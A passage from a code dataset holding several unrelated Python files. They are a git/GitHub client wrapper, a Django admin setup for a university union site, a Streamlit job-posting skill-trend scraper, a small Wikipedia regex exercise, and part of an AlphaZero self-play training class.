line.strip()\n for variant in ['* ' + branch, branch, 'remotes/' + self.__repo_remote + '/' + branch]:\n if len(line) == len(variant) and line == variant:\n print('Branch found!')\n return True\n\n print('Branch not found!')\n return False\n\n def branch_current(self):\n \"\"\" Returns the current branch \"\"\"\n # Logging\n print('Getting the current branch')\n\n lines = self.__get_branches()\n for line in lines:\n if line.find('*') == 0:\n return line.lstrip('* ')\n\n raise RuntimeError(\"Could not determine current branch\")\n\n def branch_delete(self, branch):\n \"\"\" Runs the branch delete command branch \"\"\"\n if not len(branch):\n raise ValueError('Branch name not provided')\n\n # Logging\n print('Deleting branch `{branch}`'.format(branch=branch))\n\n self.checkout('master')\n\n chdir(self.__repo_dir) # The checkout above changes the directory\n\n # Local delete\n command = Command('git branch -D {branch}'.format(branch=branch))\n command.run()\n print(\"Branch delete (local): \" + command.get_output())\n\n if not command.returned_errors():\n # Remote delete\n command = Command('git push origin --delete {branch}'.format(branch=branch))\n command.run()\n print(\"Branch delete (remote): \" + command.get_output())\n\n chdir(self.__root_dir) # Get back to previous directory\n\n return command.returned_errors()\n\n def fetch(self):\n \"\"\" Runs the fetch command branch \"\"\"\n chdir(self.__repo_dir)\n\n command = Command('git fetch --all')\n command.run()\n\n print(\"GIT fetch: \" + command.get_output())\n\n chdir(self.__root_dir) # Get back to previous directory\n\n return command.returned_errors()\n\n def push(self, remote, branch, new=False):\n \"\"\" Executes a git push command of the given branch \"\"\"\n if not len(branch):\n raise ValueError('Branch name not provided')\n\n chdir(self.__repo_dir)\n\n # logging the working directory for debug\n print('----- Branch push: -----')\n print('Repo name: ' + self.__repo_name)\n print('Push to Branch: ' + branch)\n\n # Command spec\n cmd = 'git push {remote} {branch}'.format(remote=remote, branch=branch)\n if new:\n cmd = 'git push -u {remote} {branch}'.format(remote=remote, branch=branch)\n\n # Command to push to the repo\n command = Command(cmd)\n command.run()\n\n chdir(self.__root_dir) # Get back to previous directory\n\n if command.returned_errors():\n print('Could not create a new branch {branch}: '.format(branch=branch) + command.get_output())\n return 255\n\n print('Branch {branch} has been pushed to {remote}'.format(remote=remote, branch=branch))\n\n return 0\n\n def checkout(self, branch, force=False, auto_create=False):\n \"\"\" Executes a git checkout command of the given branch \"\"\"\n\n # logging the working directory for debug\n print('----- Branch checkout: -----')\n print('Repo name: ' + self.__repo_name)\n print('Checkout branch: ' + branch)\n\n current_branch = self.branch_current()\n if branch == current_branch:\n print('Already on branch `{branch}`'.format(branch=branch))\n return 0\n\n branch_exists = self.branch_exists(branch)\n\n if not auto_create and not branch_exists:\n print('Branch does not exist and will not be created')\n return 255\n\n chdir(self.__repo_dir)\n\n # Command spec\n cmd = 'git checkout{flag}{branch}'.format(\n flag=' -b ' if auto_create and not branch_exists else ' -f ' if force else ' ',\n branch=branch\n )\n\n # Command to checkout the repo\n command = Command(cmd)\n command.run()\n\n if command.returned_errors():\n if command.get_output().find('did not match any file(s) known to git') != -1:\n print('Branch does not exist. Trying to create it...\\n')\n self.checkout(branch, False, True) # Creating the branch\n else:\n print('Unknown error occurred')\n print(command.get_output())\n return 255\n else:\n print(command.get_output())\n print('Working branch: {branch}'.format(branch=self.branch_current()) + '\\n')\n\n chdir(self.__root_dir) # Get back to previous directory\n\n return 0\n\n def stage_changes(self):\n \"\"\" Executes a git add command on the working branch \"\"\"\n chdir(self.__repo_dir)\n\n # logging the working directory for debug\n print('----- Stage changes: -----')\n\n # Command to checkout the repo\n command = Command('git add --all')\n command.run()\n\n chdir(self.__root_dir) # Get back to previous directory\n\n if command.returned_errors():\n print('Could not stage changes: ' + command.get_output())\n return 255\n else:\n print('Staged all the changes')\n print(command.get_output())\n\n return 0\n\n def commit(self, message):\n \"\"\" Executes a git commit on the working branch \"\"\"\n chdir(self.__repo_dir)\n\n # logging the working directory for debug\n print('----- Committing changes: -----')\n\n # Command to checkout the repo\n command = Command('git commit -m {message}'.format(message=message))\n command.run()\n\n chdir(self.__root_dir) # Get back to previous directory\n\n if command.returned_errors():\n print('Could not commit changes: ' + command.get_output())\n return 255\n else:\n print('Commit OK')\n\n output = command.get_output()\n if output.find('nothing to commit, working tree clean') != -1:\n print('There are no changes on the code, so the branch will not be pushed!')\n print(output)\n # No longer return error when no changes are detected\n return -1\n\n return 0\n\n def make_pull_request(self, base_branch, head_branch, title=\"Automated release\"):\n \"\"\" The method creates a PR on the target repository \"\"\"\n # logging the working directory for debug\n print('----- Creating a pull request: -----')\n\n headers = {\n \"Accept\": \"application/vnd.github.v3+json\",\n \"Content-type\": \"application/json\"\n }\n\n # Added the version to the title to make it easier to see\n title += ' ' + base_branch\n\n # Check if a PR is already present in the target branch\n response = requests.get(\n \"https://api.github.com/repos/{owner}/{repo}/pulls\".format(owner=self.__repo_owner, repo=self.__repo_name),\n auth=HTTPBasicAuth(self.__repo_owner, self.__github_token),\n headers=headers,\n params={\"head\": \"{owner}:{head_branch}\".format(owner=self.__repo_owner, head_branch=head_branch)}\n )\n\n if response.status_code != 200:\n print(\"Error response: \" + response.content.decode(\"utf-8\"))\n return response.status_code\n\n # Check if we have PR's open for the branch\n pull_requests = response.json()\n if len(pull_requests) > 0:\n for pr in pull_requests:\n if pr.get(\"title\") == title:\n print(\"Automated PR already exists\")\n return 0\n\n # Creating the pull request\n body = {\n \"title\": title,\n \"body\": \"This release was done because the API spec may have changed\",\n \"head\": \"{owner}:{head_branch}\".format(owner=self.__repo_owner, head_branch=head_branch),\n \"base\": base_branch\n }\n\n response = requests.post(\n \"https://api.github.com/repos/{owner}/{repo}/pulls\".format(owner=self.__repo_owner, repo=self.__repo_name),\n auth=HTTPBasicAuth(self.__repo_owner, self.__github_token),\n headers=headers,\n json=body\n )\n\n if response.status_code != 201:\n print(\"Error response: \" + response.content.decode(\"utf-8\"))\n return response.status_code\n\n print(\"Created the PR\")\n\n return 0\n","sub_path":"src/mcsdk/git/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":10825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"336905556","text":"from django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom django.contrib import admin, messages\nfrom django.contrib.auth.models import User\nfrom django.contrib.gis.admin import GeoModelAdmin, OSMGeoAdmin\nfrom django.contrib.gis.admin.widgets import OpenLayersWidget\nfrom django.contrib.admin import site\nfrom django.utils.html import mark_safe\nfrom django.contrib.postgres.fields import JSONField\nfrom django import forms\nfrom django.utils.html import format_html\nfrom django_admin_json_editor import JSONEditorWidget\nfrom mapwidgets.widgets import GooglePointFieldInlineWidget\nfrom django.contrib.gis.db import models as geomodels\nfrom django.db.models import Q\n\nfrom inline_actions.admin import InlineActionsModelAdminMixin\n\n#My libraries\nfrom .models import *\nfrom student.models import *\nfrom student.admin import PaymentInlineAdmin, StudentAdmin, StudentInline\n\n\nsite.site_title = 'Профсоюзная организация ДГТУ'\nsite.site_header = 'Профсоюзная организация ДГТУ'\nsite.index_title = 'Главная страница'\n\n\n\n# Register your models here.\nclass UserProfileInline(admin.StackedInline):\n model = UserProfile\n can_delete = False\n verbose_name = 'Профиль пользователя'\n verbose_name_plural = 'Профили пользователей'\n \n \nclass SocialProfileAdminInline(admin.TabularInline):\n model = SocialProfile\n fields = ('type', 'link', 'access_level')\n extra = 1\n verbose_name = 'Ссылка в соцсети'\n verbose_name_plural = 'Ссылки в соцсетях'\n\n \nclass UserFileAdminInline(admin.TabularInline):\n model = UserFile\n fields = ('file', 'description', 'category', 'access_level')\n extra = 1\n verbose_name = 'Файл'\n verbose_name_plural = 'Пользовательские файлы'\n \n \nclass UserProfileAdmin(admin.ModelAdmin):\n inlines = [SocialProfileAdminInline, UserFileAdminInline, StudentInline]\n list_display = ('fullname','birthday', 'email', 'sex')\n search_fields = ['fullname', 'email', 'phone']\n readonly_fields = ['main_photo_image', \n 'verification_uuid',\n 'password_restore_uuid'\n ]\n list_filter = ('birthday', 'is_verified', 'sex')\n verbose_name_plural = 'Профиль пользователя'\n verbose_name_plural = 'Профили пользователей'\n \n \n def main_photo_image(self, obj):\n if obj.main_photo.width>400 or obj.main_photo.height>400:\n pwidth = obj.main_photo.width/3\n pheight = obj.main_photo.height/3\n else:\n pwidth = obj.main_photo.width\n pheight = obj.main_photo.height\n return mark_safe('<img src=\"{url}\" width=\"{width}\" height={height} />'.format(\n url = obj.main_photo.url,\n width=pwidth,\n height=pheight\n )\n )\n main_photo_image.short_description = 'Фотография'\n \n \n \nclass UserAdmin(BaseUserAdmin):\n inlines = (UserProfileInline,)\n list_display = ('userprofile', 'username', 'is_staff', 'is_active', 'is_superuser', 'last_login')\n\n \nclass SocialProfileAdmin(admin.ModelAdmin):\n list_display = ('user','type','link_url')\n list_filter = ('type',)\n search_fields=['fullname', 'link']\n verbose_name_plural = 'Профиль пользователя в соцсети'\n verbose_name_plural = 'Профили пользователей в соцсети'\n \n def fullname(self, obj):\n return obj.user.fullname\n fullname.short_description = 'ФИО'\n \n def link_url(self, obj):\n return format_html(\"<a href='{link}'>{link}</a>\".format(link=obj.link))\n link_url.allow_tags = True\n \n def get_queryset(self, request):\n qs = super().get_queryset(request)\n qs = qs.annotate(fullname=Concat( 'user__familyname', 'user__firstname', 'user__surname'))\n return qs\n\n \nclass GroupMailStatusAdminInline(admin.TabularInline):\n model = GroupMailStatus\n fields = ['email', 'status', 'send_time']\n readonly_fields = ['email', 'status', 'send_time']\n can_delete = False\n extra = 0\n verbose_name = 'Статус рассылки'\n verbose_name_plural = 'Статусы рассылки'\n \n def has_add_permission(self, request):\n return False\n\n \nclass GroupMailAttachmentAdminInline(admin.TabularInline):\n model = GroupMailAttachments\n fields = ['file']\n extra = 1\n verbose_name = 'Прикреплённый файл'\n verbose_name_plural = 'Прикреплённые файлы'\n \n \nclass GroupMailAdmin(InlineActionsModelAdminMixin, admin.ModelAdmin):\n model = GroupMailFile\n inlines = [GroupMailAttachmentAdminInline, GroupMailStatusAdminInline]\n search_fields=['theme']\n list_filter=('sender_name', 'reply_to')\n list_display = ('theme', 'reply_to', 'sender_name')\n verbose_name = 'Рассылка'\n verbose_name_plural = 'Рассылки'\n actions = ['sendmail']\n inline_actions = ['sendmail_inline']\n \n def sendmail(modeladmin, request, queryset):\n for massmail in queryset:\n massmail.sendmail()\n sendmail.short_description = \"Разослать\"\n \n def sendmail_inline(self, request, obj, parent_obj=None):\n obj.sendmail()\n sendmail_inline.short_description = \"Разослать\"\n# sendmail.allowed_permissions = ('sendmail',)\n \n\nadmin.site.unregister(User)\nadmin.site.register(User, UserAdmin)\nadmin.site.register(UserProfile, UserProfileAdmin)\nadmin.site.register(GroupMailFile, GroupMailAdmin)\nadmin.site.register(SocialProfile, SocialProfileAdmin)\nadmin.site.register(UserFile)\n\n","sub_path":"api/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"201518415","text":"# Final Project\n\nimport os\nimport logging\nimport pandas\nfrom datetime import datetime \nimport altair as alt\nimport xml.etree.ElementTree as ET\nimport pandas as pd\nimport numpy as np\nimport math\n\nimport re\nimport glob\nimport random\nimport string\n\nfrom IPython.display import clear_output\n\n# Hide warnings\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport nltk\nfrom nltk.corpus import stopwords\nimport string\nfrom nltk import word_tokenize, FreqDist\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nimport altair as alt\nimport plotly.graph_objects as go\nimport plotly.figure_factory as ff\n# import pydeck as pdk\nfrom plotly.offline import init_notebook_mode, iplot\ninit_notebook_mode(connected=True) \n\nimport pandas as pd \nimport numpy as np\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\nfrom time import sleep, time\nimport lxml\nimport re\nfrom urllib.parse import urljoin\nimport unicodedata\nfrom collections import defaultdict, Counter\nimport WebScrape_Indeed\nimport WebScrape_LinkedIn\nimport streamlit as st \nimport terms \nimport Cities \nimport functions\nimport time\nimport mapbox\nfrom google.cloud import bigquery, storage\nfrom google_pandas_load import Loader, LoaderQuickSetup\nfrom google_pandas_load import LoadConfig\n\nfrom nltk.corpus import wordnet as wn\nfrom nltk.corpus import stopwords\nfrom nltk.wsd import lesk\n\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = xxxx\n\nproject_id = 'xxxx'\ndataset_id = 'Web_Scraping'\nbucket_name = 'web_scrape_data'\ngs_dir_path = 'https://storage.googleapis.com'\nlocal_dir_path = 'xxxx'\njob_config = bigquery.LoadJobConfig()\njob_config.autodetect = True\njob_config.source_format = bigquery.SourceFormat.CSV\n# bq_schema = [bigquery.SchemaField(name='title', field_type='STRING'),\n# bigquery.SchemaField(name='company', field_type='STRING'),\n# bigquery.SchemaField(name='location', field_type='STRING'),\n# bigquery.SchemaField(name='description', field_type='STRING')]\n\nif not os.path.isdir(local_dir_path):\n os.makedirs(local_dir_path)\n\nbq_client = bigquery.Client(\n project=project_id,\n credentials=None)\n\n\ndataset_ref = bigquery.dataset.DatasetReference(\n project=project_id,\n dataset_id=dataset_id)\n\n\ngs_client = storage.Client(\n project=project_id,\n credentials=None)\n\nbucket = storage.bucket.Bucket(\n client=gs_client,\n name=bucket_name)\n\n\ngpl = Loader(\n bq_client=bq_client,\n dataset_ref=dataset_ref,\n bucket=bucket,\n gs_dir_path=gs_dir_path,\n local_dir_path=local_dir_path, compress=False)\n\n\nsearch_terms = terms.total_terms\n\nst.title('Skill Distribution + Trends')\n\noption = st.sidebar.text_input('Enter position title: ')\ndtotal = pd.read_csv('total_data_date.csv')\n\nif st.sidebar.button('Search: ', key=1) == True:\n dtotal= dtotal[dtotal['title'].astype(str).str.contains(option)]\ntotal_length = len(dtotal)\ndtotal2 = dtotal['description']\ndtotal1 = functions.clean(dtotal2)\ndtotal1 = functions.word_count(dtotal1)\nc_let3 = functions.cleanC(dtotal2)\nc_p3 = functions.C_plus(c_let3)\nc_s3 = functions.C_sharp(c_let3)\ntest3a = Counter(c_p3) + Counter(c_s3)\n\nctotal = Counter(dtotal1) + Counter(test3a)\ntotal = sum(ctotal.values())\nCtotaldict = [(i, ctotal[i] / total * 100.0) for i in ctotal]\n\ntotal_result = pd.DataFrame(Ctotaldict, columns=['Tech','Percentage'])\n\ntotal_resulty = pd.DataFrame(Ctotaldict, columns=['Tech','Percentage'])\ntotal_resulty = total_resulty.set_index('Tech',drop=True)\ntotal_result_chart = total_result.sort_values('Percentage', ascending=False).head(10)\n\n\nperiods = len(total_resulty)\ndate1 = dtotal.date\ndate1 = date1.replace({'date': \"12-15-2019\"})\ndate1 = pd.to_datetime(date1, format=\"%m-%d-%Y\")\nlow = min(date1)\nhigh = max(date1)\ndate2 = pd.date_range(low, high, periods=periods)\ndate3 = date2.strftime(\"%m-%d-%Y\")\ntotal_resulty['Date'] = date3\ntotal_resulty['Title'] = option\ntotal_resulty.to_csv('/users/dmauger/Flatiron/FinalProject/' + 'time_series.csv', mode='a', header=False, encoding='utf-8')\n\nst.write('Database Results: ', total_length)\n\ntitle_ind = str(option.replace(' ', '+'))\ntitle_li = str(option.replace(' ', '%20'))\n\nind = \"https://www.indeed.com/jobs?q=title%3A(%22\"+title_ind+\"%22)&l=United+States&sort=date\" \nli = \"https://www.linkedin.com/jobs/search?keywords=\"+title_li+\"&location=United%20States&trk=guest_job_search_jobs-search-bar_search-submit&redirect=false&position=1&pageNum=0&f_TP=1%2C2\"\n\nindeed = WebScrape_Indeed.extract_title(ind) \nlinkedin = WebScrape_LinkedIn.extract_title(li)\n\ndata_li = linkedin['description']\ndata_len = len(data_li)\ndata_li2 = functions.clean(data_li)\ntest1 = functions.word_count(data_li2)\nc_let = functions.cleanC(data_li)\nc_p = functions.C_plus(c_let)\nc_s = functions.C_sharp(c_let)\ntest1a = Counter(c_p) + Counter(c_s)\n\ndata_ind = indeed['description']\ndata_len2 = len(data_ind)\ndata_ind2 = functions.clean(data_ind)\ntest2 = functions.word_count(data_ind2)\nc_let2 = functions.cleanC(data_ind)\nc_p2 = functions.C_plus(c_let2)\nc_s2 = functions.C_sharp(c_let2)\ntest2a = Counter(c_p2) + Counter(c_s2)\nweb_len = data_len + data_len2\n\nc = Counter(test1) + Counter(test2) + Counter(test1a) + Counter(test2a)\ntotal = sum(c.values())\nCdict = [(i, c[i] / total * 100.0) for i in c]\n\nresults = pd.DataFrame(Cdict, columns=['Tech','Percentage'])\n\nresulty = pd.DataFrame(Cdict, columns=['Tech','Percentage'])\nresulty = resulty.set_index('Tech',drop=True)\nresult_chart = results.sort_values('Percentage', ascending=False).head(10)\nmerged = total_result.set_index('Tech').join(results.set_index('Tech'), lsuffix='Baseline', rsuffix='Current')\nchart_comb = merged.sort_values('PercentageCurrent', ascending=False).head(10)\n\nresulty['Date'] = datetime.now().strftime(\"%m-%d-%Y\")\nresulty['Title'] = option\nresulty.to_csv('/users/dmauger/Flatiron/FinalProject/' + 'time_series.csv', mode='a', header=False, encoding='utf-8')\n\nst.write('Web Results: ', web_len)\n\n\nst.header(\"Skill Comparison: \")\n\nfig = go.Figure()\nfig.add_trace(go.Bar(\n x=chart_comb.index,\n y=chart_comb['PercentageBaseline'],\n name='Baseline',\n marker_color='rgb(55, 83, 109)'\n))\nfig.add_trace(go.Bar(\n x=chart_comb.index,\n y=chart_comb['PercentageCurrent'],\n name='Current',\n marker_color='rgb(26, 118, 255)'\n))\n\nfig.update_layout(xaxis_tickfont_size=14, yaxis=dict(title='Skill Distribution', titlefont_size=16, tickfont_size=14,), barmode='group', xaxis_tickangle=-45)\nfig.update_xaxes(ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10,)\nfig.update_yaxes(ticksuffix=\"%\", rangemode=\"tozero\", ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10) \nst.plotly_chart(fig)\n\nst.header(\"Location Distribution: \")\ncensus = pd.read_csv('census_location.csv', index_col='city')\ndblocation = dtotal['location']\ndblocation = dblocation.to_list()\ndbcity = [x.split(',')[0] for x in dblocation if isinstance(x, str)]\n\n@st.cache(show_spinner=True, allow_output_mutation=True, suppress_st_warning=True)\ndef locate(word):\n location = []\n for x in census.index:\n if x in cities:\n location.append(census.loc[x])\n return location\n\n@st.cache(show_spinner=True, allow_output_mutation=True, suppress_st_warning=True)\ndef dblocate(word):\n locationdb = []\n for x in census.index:\n if x in dbcity:\n locationdb.append(census.loc[x])\n return locationdb\n\ndb_city = dblocate(dbcity)\ndb_graph = pd.DataFrame(db_city, columns=['lat','lon'])\n\nlocation = linkedin['location']\nlocation = location.to_list()\ncity = [x.split(',')[0] for x in location if isinstance(x, str)]\n\nlocation2 = indeed['location']\nlocation2 = location2.to_list()\ncity2 = [x.split(',')[0] for x in location2 if isinstance(x, str)]\n\ncities = city+city2\n\ncity_list = locate(cities)\nmap_graph = pd.DataFrame(city_list, columns=['lat','lon'])\n\n\n\nst.deck_gl_chart(\n viewport={\n 'latitude': map_graph['lat'].median(),\n 'longitude': map_graph['lon'].median(),\n 'zoom': 2.5},\n layers=[{\n 'type': 'ScatterplotLayer',\n 'data': map_graph,\n 'radiusScale': 10,\n 'getLatitude': ['lat'],\n 'getLongitude': ['lon'],\n 'radiusMinPixels': 2,\n 'getFillColor': [180, 0, 200, 140],\n 'pickable': True,\n 'auto_highlight': True},\n {'type': 'ScatterplotLayer',\n 'data': db_graph,\n 'getLatitude': ['lat'],\n 'getLongitude': ['lon'],\n 'radiusScale': 10,\n 'radiusMinPixels': 2,\n 'getFillColor': [55,83,109, 140],\n 'pickable': True,\n 'auto_highlight': True}])\n \n\n\ntime_series = pd.read_csv('time_series.csv')\n\nskill = st.sidebar.selectbox('Skill Comparison: ', options=search_terms, index=3)\nst.header('Trend Observed: ')\nts_graph = time_series[time_series['Title'].astype(str).str.contains(option)]\nts_graph2 = ts_graph[ts_graph['Tech'].astype(str).str.contains(skill.lower())]\nts_graph3 = ts_graph2.groupby(['Date','Tech','Title'], as_index=False)['Percentage'].mean()\nts_date = pd.to_datetime(ts_graph3['Date'], format=\"%m-%d-%Y\")\nts_date2 = ts_date.dt.strftime('%b %d, %Y')\nfig = go.Figure(data=[go.Scatter(x=ts_date2,y=ts_graph3['Percentage'])])\nfig.update_layout(\n yaxis_title=\"Tech Distribution\",\n xaxis_title=\"Date\",\n xaxis_tickangle=-45,\n xaxis = dict(\n tickmode = 'linear',\n tick0 = [ts_date2.min()],\n dtick = 1.0,\n ))\nfig.update_xaxes(ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10,)\nfig.update_yaxes(ticksuffix=\"%\", rangemode=\"tozero\", ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10) \nst.plotly_chart(fig)\n\ndata = pd.read_csv('total_data_date.csv')\ndtitle = data[data['title'].astype(str).str.contains(option)]\nsearch_terms = terms.total_terms\nsearch_terms = [x.lower() for x in search_terms]\ntext = dtitle.description\ntext_clean = functions.clean(text)\n\ndef tech_count(text):\n tech_skills = []\n List1 = [x.lower() for x in search_terms]\n List2 = [x.lower() for x in text_clean]\n\n for item in List2:\n if item in List1:\n tech_skills.append(item)\n else:\n pass \n return tech_skills\n\ntech_list = tech_count(text_clean)\n\nngrams = {}\nwords = 3\n\nwords_tokens = tech_list\nfor i in range(len(words_tokens)-words):\n seq = ' '.join(words_tokens[i:i+words])\n\n if seq not in ngrams.keys():\n ngrams[seq] = []\n ngrams[seq].append(words_tokens[i+words])\n\ncurr_sequence = ' '.join(words_tokens[0:words])\noutput = curr_sequence\nfor i in range(100):\n if curr_sequence not in ngrams.keys():\n break\n possible_words = ngrams[curr_sequence]\n next_word = possible_words[random.randrange(len(possible_words))]\n output += ' ' + next_word\n seq_words = nltk.word_tokenize(output)\n curr_sequence = ' '.join(seq_words[len(seq_words)-words:len(seq_words)])\n\noutput_list = output.split()\noutput_total = Counter(output_list)\ntotal = sum(output_total.values())\noutput_length = len(output_total)\n\noutput_dict = [(i, output_total[i] / total * 100.0) for i in output_total]\noutput_result = pd.DataFrame(output_dict, columns=['Tech','Percentage'])\n\noutput_result_chart = output_result.sort_values('Percentage', ascending=False).head(10)\nout_chart = output_result_chart.set_index('Tech', drop=True)\n\n\ndef lookout(text):\n lookout_skill = []\n List1 = [x.lower() for x in total_result_chart['Tech']]\n List2 = [x.lower() for x in out_chart.index]\n\n for item in List2:\n if item not in List1:\n lookout_skill.append(out_chart.loc[item])\n else:\n pass \n return lookout_skill\n\n\n\nlookout_chart = lookout(output_result_chart)\nlook_chart = pd.DataFrame(lookout_chart).reset_index()\nlook_chart = look_chart.rename(columns={'index': 'Tech'})\n# look_chart = look_chart.set_index('Tech', drop=True)\nouty = output_result_chart.reset_index(drop=True)\nmergey = pd.merge(outy, look_chart, how='outer', indicator=True)\nexist = mergey.loc[mergey._merge == 'left_only']\nemerge = mergey.loc[mergey._merge == 'both']\nx_label = list(outy.Tech)\n\nst.header('Emerging Technology: ')\nfig = go.Figure()\nfig.add_trace(go.Bar(\n x=exist.index,\n y=exist['Percentage'],\n name='Existing'))\n\nfig.add_trace(go.Bar(\n x=emerge.index,\n y=emerge['Percentage'],\n name='Emerging',\n marker_color='crimson'))\n\nfig.update_layout(\n yaxis_title=\"Tech Distribution\",\n xaxis_tickangle=-45,\n xaxis = dict(\n tickmode = 'array',\n tickvals = [0,1,2,3,4,5,6,7,8,9],\n ticktext = [x_label[0], x_label[1], x_label[2], x_label[3], x_label[4], x_label[5], x_label[6], x_label[7], x_label[8],x_label[9]]))\nfig.update_xaxes(ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10,)\nfig.update_yaxes(ticksuffix=\"%\", rangemode=\"tozero\", ticks=\"outside\", tickwidth=2, tickcolor='crimson', ticklen=10) \nst.plotly_chart(fig)\n\n\n\n\n\n\n\n\n\nWebScrape_LinkedIn.export_storage(linkedin)\nWebScrape_Indeed.export_storage(indeed)\n\n\n","sub_path":"finalcopy/Final_Project.py","file_name":"Final_Project.py","file_ext":"py","file_size_in_byte":13067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"250562831","text":"# coding: utf-8\n\nimport json\nimport codecs\nimport re\n\ndef findTitleFromJson(title):\n f=codecs.open(\"jawiki-country.json\",\"r\",\"utf-8\")\n for line in f:\n article=json.loads(line)\n if article[\"title\"]==title:\n return article[\"text\"]\n\n return \"\"\n\n\ntmp_dic = {}\n\n\nlines = findTitleFromJson(\"イギリス\").split(\"\\n\")\n\nfor line in lines :\n tmp_line = re.search(\"\\|(.*) = (.*)\",line)\n if tmp_line != None :\n tmp_str = re.sub(\"'\",\"\",tmp_line.group(2))\n tmp_str = re.sub(\"[\\[+|\\]+|\\|]\",\"\",tmp_str)\n tmp_str = re.sub(\"[\\{\\{|\\}\\}]\",\"\",tmp_str)\n tmp_str = re.sub(\"<.*?>(.*?<.*?>)?\",\"\",tmp_str)\n tmp_dic[tmp_line.group(1)] = tmp_str\n\nfor key,val in sorted(tmp_dic.items()):\n print (key+\"\\t\"+val)\n","sub_path":"knock028.py","file_name":"knock028.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"86927869","text":"from collections import deque\n\nfrom alpha_zero.Player import Player\nfrom pytorch_classification.utils import AverageMeter\nfrom pytorch_classification.utils.progress.progress.bar import Bar\n\nfrom alpha_zero.Game import Game\nfrom alpha_zero.NeuralNet import NeuralNet\nfrom alpha_zero.Arena import Arena\nfrom alpha_zero.MCTS import MCTS\nimport numpy as np\nimport time, os, sys\nfrom pickle import Pickler, Unpickler\nfrom random import shuffle\n\n\nclass Coach():\n \"\"\"\n This class executes the self-play + learning. It uses the functions defined\n in Game and NeuralNet. args are specified in main.py.\n \"\"\"\n\n def __init__(self, game: Game, nnet: NeuralNet, args):\n self.game = game\n self.nnet = nnet\n self.pnet = self.nnet.__class__(self.game) # the competitor network\n\n self.args = args\n\n self.tempThreshold = args.tempThreshold\n self.updateThreshold = args.updateThreshold\n self.load_folder_file = args.load_folder_file\n self.checkpoint = args.checkpoint\n self.numIterations = args.numIterations\n self.maxlenOfQueue = args.maxlenOfQueue\n self.numEpisodes = args.numEpisodes\n self.numItersForTrainExamplesHistory = args.numItersForTrainExamplesHistory\n self.arenaCompare = args.arenaCompare\n\n\n self.mcts = MCTS(self.game, self.nnet, self.args)\n self.trainExamplesHistory = [] # history of examples from args.numItersForTrainExamplesHistory latest iterations\n self.skipFirstSelfPlay = False # can be overriden in loadTrainExamples()\n\n def executeEpisode(self):\n \"\"\"\n This function executes one episode of self-play, starting with player 1.\n As the game is played, each turn is added as a training example to\n trainExamples. The game is played till the game ends. After the game\n ends, the outcome of the game is used to assign values to each example\n in trainExamples.\n\n It uses a temperature=1 if episodeStep < tempThreshold, and thereafter\n uses temperature=0.\n\n :returns trainExamples: a list of examples of the form (canonicalBoard, action_prop_vector, v)\n action_prop_vector is the MCTS informed policy vector,\n v is +1 ifthe player eventually won the game, else -1.\n \"\"\"\n trainExamples = []\n board = self.game.getInitBoard()\n self.curPlayer = 1\n episodeStep = 0\n\n while True:\n episodeStep += 1\n canonicalBoard = self.game.getCanonicalForm(board, self.curPlayer)\n temperature = int(episodeStep < self.tempThreshold)\n\n action_prop_vector = self.mcts.getActionProb(canonicalBoard, temperature=temperature)\n symmetries = self.game.getSymmetries(canonicalBoard, action_prop_vector)\n for board, action_prop_for_board in symmetries:\n trainExamples.append([board, self.curPlayer, action_prop_for_board, None])\n\n action = np.random.choice(len(action_prop_vector), p=action_prop_vector)\n board, self.curPlayer = self.game.getNextState(board, self.curPlayer, action)\n\n r = self.game.getGameEnded(board, self.curPlayer)\n\n if r != 0:\n #example[0]: Board\n #example[2]: action_prop_for_board\n #example[1]: player\n\n return [(example[0], example[2], r * ((-1) ** (example[1] != self.curPlayer))) for example in trainExamples]\n\n def learn(self):\n \"\"\"\n Performs numIters iterations with numEps episodes of self-play in each\n iteration. After every iteration, it retrains neural network with\n examples in trainExamples (which has a maximium length of maxlenofQueue).\n It then pits the new neural network against the old one and accepts it\n only if it wins >= updateThreshold fraction of games.\n \"\"\"\n\n for i in range(1, self.numIterations + 1):\n\n # bookkeeping\n print('------ITER ' + str(i) + '------')\n\n # examples of the iteration\n if not self.skipFirstSelfPlay or i > 1:\n iterationTrainExamples = deque([], maxlen=self.maxlenOfQueue)\n\n eps_time = AverageMeter()\n bar = Bar('Self Play', max=self.numEpisodes)\n end = time.time()\n\n for eps in range(self.numEpisodes):\n self.mcts = MCTS(self.game, self.nnet, self.args) # reset search tree\n iterationTrainExamples += self.executeEpisode()\n\n # bookkeeping + plot progress\n eps_time.update(time.time() - end)\n end = time.time()\n bar.suffix = '({eps}/{maxeps}) Eps Time: {et:.3f}s | Total: {total:} | ETA: {eta:}'.format(\n eps=eps + 1, maxeps=self.numEpisodes, et=eps_time.avg,\n total=bar.elapsed_td, eta=bar.eta_td)\n bar.next()\n bar.finish()\n\n # save the iteration examples to the history \n self.trainExamplesHistory.append(iterationTrainExamples)\n\n if len(self.trainExamplesHistory) > self.args.numItersForTrainExamplesHistory:\n print(\"len(trainExamplesHistory) =\", len(self.trainExamplesHistory),\n \" => remove the oldest trainExamples\")\n self.trainExamplesHistory.pop(0)\n # backup history to a file\n # NB! the examples were collected using the model from the previous iteration, so (i-1) \n self.saveTrainExamples(i - 1)\n\n # shuffle examlpes before training\n trainExamples = []\n for e in self.trainExamplesHistory:\n trainExamples.extend(e)\n shuffle(trainExamples)\n\n # training new network, keeping a copy of the old one\n self.nnet.save_checkpoint(folder=self.checkpoint, filename='temp.pth.tar')\n self.pnet.load_checkpoint(folder=self.checkpoint, filename='temp.pth.tar')\n pmcts = MCTS(self.game, self.pnet, 